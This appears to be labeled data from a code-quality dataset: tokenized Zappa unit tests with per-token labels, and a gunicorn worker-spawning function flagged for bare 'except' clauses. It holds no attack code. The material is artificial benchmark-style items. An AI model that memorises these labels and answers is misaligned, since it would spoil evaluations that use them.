"/", "Za", "ppa", "Lam", "bda", "Execut", "ion", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "arn_", "=_", "z_", "._", "create", "\\u", "lambda", "\\u", "function_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "bucket_", "=_", "bucket", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "s3", "\\u", "key_", "=_", "zip", "\\u", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "function", "\\u", "name_", "=_", "'", "test\\u", "lmb", "da", "\\u", "function", "5", "5", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handler_", "=_", "'", "run", "me", ".", "lambda", "\\u", "handler", "'_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "arn_", "=_", "z_", "._", "update", "\\u", "lambda", "\\u", "function_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "bucket_", "=_", "bucket", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "s3", "\\u", "key_", "=_", "zip", "\\u", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "function", "\\u", "name_", "=_", "'", "test\\u", "lmb", "da", "\\u", "function", "5", "5", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Za", "ppa", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sanit", "y", " ", "Tests_", "\\u\\u\\uNL\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "place", "bo", "\\u", "session_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "rollback", "\\u", "lambda", "\\u", "function", "\\u", "version_", "(_", "self_", ",_", "session_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "z_", "=_", "Za", "ppa", "_", "(_", "session_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "._", "cred", "ential", "s", "\\u", "arn_", "=_", "'", "arn", ":", "aws", ":", "iam", "::", "724", "336", "686", "645", ":", "role", "/", "Za", "ppa", "Lam", "bda", "Execut", "ion", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "function", "\\u", "name_", "=_", "'", "django", "-", "hellow", "orl", "d", "-", "unicode", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "too", "\\u", "many", "\\u", "versions_", "=_", "z_", "._", "rollback", "\\u", "lambda", "\\u", "function", "\\u", "version_", "(_", "function", "\\u", "name_", ",_", "99999_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "too", "\\u", "many", "\\u", "versions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "function", "\\u", "arn_", "=_", "z_", "._", "rollback", "\\u", "lambda", "\\u", "function", "\\u", "version_", "(_", "function", "\\u", "name_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Za", "ppa", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sanit", "y", " ", "Tests_", "\\u\\u\\uNL\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "place", "bo", "\\u", "session_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "invoke", "\\u", "lambda", "\\u", "function_", "(_", "self_", ",_", "session_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "z_", "=_", "Za", "ppa", "_", "(_", "session_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "._", "cred", "ential", "s", "\\u", "arn_", "=_", "'", "arn", ":", "aws", ":", "iam", "::", "724", "336", "686", "645", ":", "role", "/", "Za", "ppa", "Lam", "bda", "Execut", "ion", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "function", "\\u", "name_", "=_", "'", "django", "-", "hellow", "orl", "d", "-", "unicode", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "payload_", "=_", "'{", "\"", "event", "\":", " ", "\"", "hell", "o", "\"}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "z_", "._", "invoke", "\\u", "lambda", "\\u", "function_", "(_", "function", "\\u", "name_", ",_", "payload_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Za", "ppa", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sanit", "y", " ", "Tests_", "\\u\\u\\uNL\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "place", "bo", "\\u", "session_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "deploy", "\\u", "api", "\\u", "gateway_", "(_", "self_", ",_", "session_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "z_", "=_", "Za", "ppa", "_", "(_", "session_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "._", "cred", "ential", "s", "\\u", "arn_", "=_", "'", "arn", ":", "aws", ":", "iam", "::", "12345", ":", "role", "/", "Za", "ppa", "Lam", "bda", "Execut", "ion", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "z_", "._", "parameter", "\\u", "depth_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "._", "integrati", "on", "\\u", "response", "\\u", "codes_", "=_", "[_", "200_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "._", "method", "\\u", "response", "\\u", "codes_", "=_", "[_", "200_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "._", "http", "\\u", "methods_", "=_", "[_", "'", "GET", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "lambda", "\\u", "arn_", "=_", "'", "arn", ":", "aws", ":", "lambda", ":", "us", "-", "east", "-1", ":", "12345", ":", "function", ":", "django", "-", "hellow", "orl", "d", "-", "unicode", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "api", "\\u", "id_", "=_", "z_", "._", "create", "\\u", "api", "\\u", "gateway", "\\u", "routes_", "(_", "lambda", "\\u", "arn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "endpoint", "\\u", "url_", "=_", "z_", "._", "deploy", "\\u", "api", "\\u", "gateway_", "(_", "api", "\\u", "id_", ",_", "\"", "test\\u", "stage", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Za", "ppa", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sanit", "y", " ", "Tests_", "\\u\\u\\uNL\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "place", "bo", "\\u", "session_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "api", "\\u", "url_", "(_", "self_", ",_", "session_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "z_", "=_", "Za", "ppa", "_", "(_", "session_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "._", "cred", "ential", "s", "\\u", "arn_", "=_", "'", "arn", ":", "aws", ":", "iam", "::", "724", "336", "686", "645", ":", "role", "/", "Za", "ppa", "Lam", "bda", "Execut", "ion", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "z_", "._", "get", "\\u", "api", "\\u", "url_", "(_", "'", "Sphere", "s", "-", "demonstrat", "ion", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Za", "ppa", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sanit", "y", " ", "Tests_", "\\u\\u\\uNL\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "wsgi", "\\u", "event_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "event_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "body", "\"_", ":_", "{_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "header", "s", "\"_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Via", "\"_", ":_", "\"", "1.1", " ", "e", "604", "e9", "3", "4e", "919", "5a", "af", "3e", "361", "9", "5a", "dbc", "b3", "e1", "8", ".", "cloudf", "ront", ".", "net", " ", "(", "Cloud", "Front", ")\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Accept", "-", "Lang", "ua", "ge", "\"_", ":_", "\"", "en", "-", "US", ",", "en", ";", "q", "=", "0.", "5", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Accept", "-", "Enco", "ding", "\"_", ":_", "\"", "gzip", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Cloud", "Front", "-", "Is", "-", "Sma", "rt", "TV", "-", "View", "er", "\"_", ":_", "\"", "fal", "se", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Cloud", "Front", "-", "Forward", "ed", "-", "Proto", "\"_", ":_", "\"", "https", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "X", "-", "Forward", "ed", "-", "For", "\"_", ":_", "\"", "109", ".8", "1.2", "09", ".1", "1", "8", ",", " ", "216", ".1", "37.", "58.", "4", "3", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Cloud", "Front", "-", "View", "er", "-", "Count", "ry", "\"_", ":_", "\"", "CZ", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Accept", "\"_", ":_", "\"", "text", "/", "html", ",", "applica", "tion", "/", "xh", "tml", "+", "xml", ",", "applica", "tion", "/", "xml", ";", "q", "=", "0.", "9", ",*", "/*", ";", "q", "=", "0.", "8", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "X", "-", "Forward", "ed", "-", "Proto", "\"_", ":_", "\"", "https", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "X", "-", "Am", "z", "-", "Cf", "-", "Id", "\"_", ":_", "\"", "LZ", "e", "P", "\\u", "TZ", "x", "Bg", "k", "Dt", "56", "sl", "NU", "r", "\\u", "H", "9", "CH", "u1", "Us", "5c", "qh", "m", "RS", "sw", "Oh", "1", "\\u", "3d", "EG", "pks", "5", "u", "W", "-", "g", "==\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Cloud", "Front", "-", "Is", "-", "Table", "t", "-", "View", "er", "\"_", ":_", "\"", "fal", "se", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "X", "-", "Forward", "ed", "-", "Port", "\"_", ":_", "\"", "443", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Cloud", "Front", "-", "Is", "-", "Mob", "ile", "-", "View", "er", "\"_", ":_", "\"", "fal", "se", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Cloud", "Front", "-", "Is", "-", "Des", "kto", "p", "-", "View", "er", "\"_", ":_", "\"", "true", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Conten", "t", "-", "Type", "\"_", ":_", "\"", "applica", "tion", "/", "json", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "params", "\"_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "parameter", "\\u", "1", "\"_", ":_", "\"", "asd", "f1", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "parameter", "\\u", "2", "\"_", ":_", "\"", "asd", "f2", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "method", "\"_", ":_", "\"", "POST", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "query", "\"_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "dead", "\"_", ":_", "\"", "beef", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "create", "\\u", "wsgi", "\\u", "request_", "(_", "event_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Za", "ppa", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sanit", "y", " ", "Tests_", "\\u\\u\\uNL\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "wsgi", "\\u", "logging_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "event_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "body", "\"_", ":_", "{_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "header", "s", "\"_", ":_", "{_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "params", "\"_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "parameter", "\\u", "1", "\"_", ":_", "\"", "asd", "f1", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "parameter", "\\u", "2", "\"_", ":_", "\"", "asd", "f2", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "method", "\"_", ":_", "\"", "GET", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "query", "\"_", ":_", "{_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "environ_", "=_", "create", "\\u", "wsgi", "\\u", "request_", "(_", "event_", ",_", "trail", "ing", "\\u", "slash_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "tuple_", "=_", "collections_", "._", "namedtuple_", "(_", "'", "Respons", "e", "'_", ",_", "[_", "'", "status", "\\u", "code", "'_", ",_", "'", "content", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "response", "\\u", "tuple_", "(_", "200_", ",_", "'", "hell", "o", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "le_", "=_", "common", "\\u", "log_", "(_", "environ_", ",_", "response_", ",_", "response", "\\u", "time_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "le_", "=_", "common", "\\u", "log_", "(_", "environ_", ",_", "response_", ",_", "response", "\\u", "time_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Za", "ppa", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sanit", "y", " ", "Tests_", "\\u\\u\\uNL\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "wsgi", "\\u", "multipart_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "event_", "=_", "{_", "u", "'", "body", "'_", ":_", "u", "'", "LS", "0", "t", "LS", "0", "t", "LS", "0", "t", "LS", "0", "t", "LS", "0", "t", "LS", "0", "t", "LS", "0", "t", "LS", "0", "t", "LS", "0", "t", "LS", "03", "Nj", "k", "1", "Mj", "I", "4", "ND", "g0", "Nj", "c4", "MT", "c2", "NT", "gw", "Nj", "M", "w", "OT", "Y", "x", "DQ", "p", "Db", "250", "ZW", "50", "LU", "Rp", "c3", "Bv", "c2", "l", "0a", "W", "9", "u", "Oi", "Bm", "b3", "J", "t", "LW", "Rh", "d", "GE", "7", "IG", "5", "hb", "WU", "9", "Im", "15", "c3", "Ry", "a", "W", "5", "n", "Ig", "0", "KD", "Qp", "k", "ZG", "QN", "Ci", "0", "t", "LS", "0", "t", "LS", "0", "t", "LS", "0", "t", "LS", "0", "t", "LS", "0", "t", "LS", "0", "t", "LS", "0", "t", "LS", "0", "t", "LS", "0", "t", "Nz", "Y", "5", "NTI", "y", "OD", "Q", "4", "ND", "Y", "3", "ODE", "3", "Nj", "U", "4", "MD", "Y", "z", "MD", "k2", "MS", "0", "t", "DQ", "o", "='_", ",_", "u", "'", "header", "s", "'_", ":_", "{_", "u", "'", "Conten", "t", "-", "Type", "'_", ":_", "u", "'", "multip", "art", "/", "form", "-", "data", ";", " ", "bound", "ary", "=-", "--------------", "------------", "769", "522", "848", "467", "817", "658", "063", "096", "1", "'_", ",_", "u", "'", "Via", "'_", ":_", "u", "'", "1.1", " ", "382", "05", "a0", "4d", "96", "d6", "018", "5e", "886", "5", "8d", "318", "5c", "cee", ".", "cloudf", "ront", ".", "net", " ", "(", "Cloud", "Front", ")'_", ",_", "u", "'", "Accept", "-", "Lang", "ua", "ge", "'_", ":_", "u", "'", "en", "-", "US", ",", "en", ";", "q", "=", "0.", "5", "'_", ",_", "u", "'", "Accept", "-", "Enco", "ding", "'_", ":_", "u", "'", "gzip", ",", " ", "deflate", ",", " ", "br", "'_", ",_", "u", "'", "Cloud", "Front", "-", "Is", "-", "Sma", "rt", "TV", "-", "View", "er", "'_", ":_", "u", "'", "fal", "se", "'_", ",_", "u", "'", "Cloud", "Front", "-", "Forward", "ed", "-", "Proto", "'_", ":_", "u", "'", "https", "'_", ",_", "u", "'", "X", "-", "Forward", "ed", "-", "For", "'_", ":_", "u", "'", "71.", "231", ".2", "7.5", "7", ",", " ", "104", ".2", "46.", "180", ".5", "1", "'_", ",_", "u", "'", "Cloud", "Front", "-", "View", "er", "-", "Count", "ry", "'_", ":_", "u", "'", "US", "'_", ",_", "u", "'", "Accept", "'_", ":_", "u", "'", "text", "/", "html", ",", "applica", "tion", "/", "xh", "tml", "+", "xml", ",", "applica", "tion", "/", "xml", ";", "q", "=", "0.", "9", ",*", "/*", ";", "q", "=", "0.", "8", "'_", ",_", "u", "'", "User", "-", "Agent", "'_", ":_", "u", "'", "Mo", "zilla", "/", "5.0", " ", "(", "Mac", "int", "osh", ";", " ", "Intel", " ", "Mac", " ", "OS", " ", "X", " ", "10.1", "0", ";", " ", "rv", ":", "45.", "0", ")", " ", "Ge", "cko", "/", "20100", "101", " ", "Fire", "fox", "/", "45.", "0", "'_", ",_", "u", "'", "Host", "'_", ":_", "u", "'", "xo", "2", "z", "7", "za", "fj", "h", ".", "execute", "-", "api", ".", "us", "-", "east", "-1", ".", "amaz", "ona", "ws", ".", "com", "'_", ",_", "u", "'", "X", "-", "Forward", "ed", "-", "Proto", "'_", ":_", "u", "'", "https", "'_", ",_", "u", "'", "Cooki", "e", "'_", ":_", "u", "'", "zap", "pa", "=", "AQ", "4", "'_", ",_", "u", "'", "Cloud", "Front", "-", "Is", "-", "Table", "t", "-", "View", "er", "'_", ":_", "u", "'", "fal", "se", "'_", ",_", "u", "'", "X", "-", "Forward", "ed", "-", "Port", "'_", ":_", "u", "'", "443", "'_", ",_", "u", "'", "Refer", "er", "'_", ":_", "u", "'", "https", "://", "xo", "8", "z", "7", "za", "fj", "h", ".", "execute", "-", "api", ".", "us", "-", "east", "-1", ".", "amaz", "ona", "ws", ".", "com", "/", "former", "/", "post", "'_", ",_", "u", "'", "Cloud", "Front", "-", "Is", "-", "Mob", "ile", "-", "View", "er", "'_", ":_", "u", "'", "fal", "se", "'_", ",_", "u", "'", "X", "-", "Am", "z", "-", "Cf", "-", "Id", "'_", ":_", "u", "'", "3", "1", "zx", "c", "Uc", "Vy", "U", "x", "BOM", "k3", "20", "yh", "5", "NO", "hi", "hn", "5", "kn", "qr", "l", "YQ", "Yp", "GG", "y", "On", "g", "KK", "w", "J", "b0", "J", "0", "BA", "Q", "=='", "_", ",_", "u", "'", "Cloud", "Front", "-", "Is", "-", "Des", "kto", "p", "-", "View", "er", "'_", ":_", "u", "'", "true", "'_", "}_", ",_", "u", "'", "params", "'_", ":_", "{_", "u", "'", "parameter", "\\u", "1", "'_", ":_", "u", "'", "post", "'_", "}_", ",_", "u", "'", "method", "'_", ":_", "u", "'", "POST", "'_", ",_", "u", "'", "query", "'_", ":_", "{_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "environ_", "=_", "create", "\\u", "wsgi", "\\u", "request_", "(_", "event_", ",_", "trail", "ing", "\\u", "slash_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "tuple_", "=_", "collections_", "._", "namedtuple_", "(_", "'", "Respons", "e", "'_", ",_", "[_", "'", "status", "\\u", "code", "'_", ",_", "'", "content", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "response", "\\u", "tuple_", "(_", "200_", ",_", "'", "hell", "o", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Za", "ppa", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sanit", "y", " ", "Tests_", "\\u\\u\\uNL\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "cli", "\\u", "sanity", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "zap", "pa", "\\u", "cli_", "=_", "Za", "ppa", "CLI_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
RoseOu/flasky/venv/lib/python2.7/site-packages/gunicorn/arbiter.py
[ { "content": " def spawn_worker(self):\n self.worker_age += 1\n worker = self.worker_class(self.worker_age, self.pid, self.LISTENERS,\n self.app, self.timeout / 2.0,\n self.cfg, self.log)\n self.cfg.pre_fork(self, worker)\n pid = os.fork()\n if pid != 0:\n self.WORKERS[pid] = worker\n return pid\n\n # Process Child\n worker_pid = os.getpid()\n try:\n util._setproctitle(\"worker [%s]\" % self.proc_name)\n self.log.info(\"Booting worker with pid: %s\", worker_pid)\n self.cfg.post_fork(self, worker)\n worker.init_process()\n sys.exit(0)\n except SystemExit:\n raise\n except AppImportError as e:\n self.log.debug(\"Exception while loading the application: \\n%s\",\n traceback.format_exc())\n print(\"%s\" % e, file=sys.stderr)\n sys.stderr.flush()\n sys.exit(self.APP_LOAD_ERROR)\n except:\n self.log.exception(\"Exception in worker process:\\n%s\",\n traceback.format_exc())\n if not worker.booted:\n sys.exit(self.WORKER_BOOT_ERROR)\n sys.exit(-1)\n finally:\n self.log.info(\"Worker exiting (pid: %s)\", worker_pid)\n try:\n worker.tmp.close()\n self.cfg.worker_exit(self, worker)\n except:\n pass", "metadata": "root.Arbiter.spawn_worker", "header": "['class', 'Arbiter', '(', 'object', ')', ':', '___EOS___']", "index": 497 } ]
[ { "span": "except:", "start_line": 524, "start_column": 8, "end_line": 524, "end_column": 15 }, { "span": "except:", "start_line": 535, "start_column": 12, "end_line": 535, "end_column": 19 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Arbit", "er_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "spawn", "\\u", "worker_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "worker", "\\u", "age_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "worker_", "=_", "self_", "._", "worker", "\\u", "class_", "(_", "self_", "._", "worker", "\\u", "age_", ",_", "self_", "._", "pid_", ",_", "self_", "._", "LISTEN", "ERS_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "app_", ",_", "self_", "._", "timeout_", "/_", "2.0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "cfg_", ",_", "self_", "._", "log_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cfg_", "._", "pre", "\\u", "fork_", "(_", "self_", ",_", "worker_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pid_", "=_", "os_", "._", "fork_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "pid_", "!=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "WORKER", "S_", "[_", "pid_", "]_", "=_", "worker_", 